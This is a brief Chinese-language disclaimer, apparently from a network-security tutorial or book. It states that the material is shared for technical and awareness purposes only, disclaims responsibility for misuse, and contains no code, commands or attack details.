此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!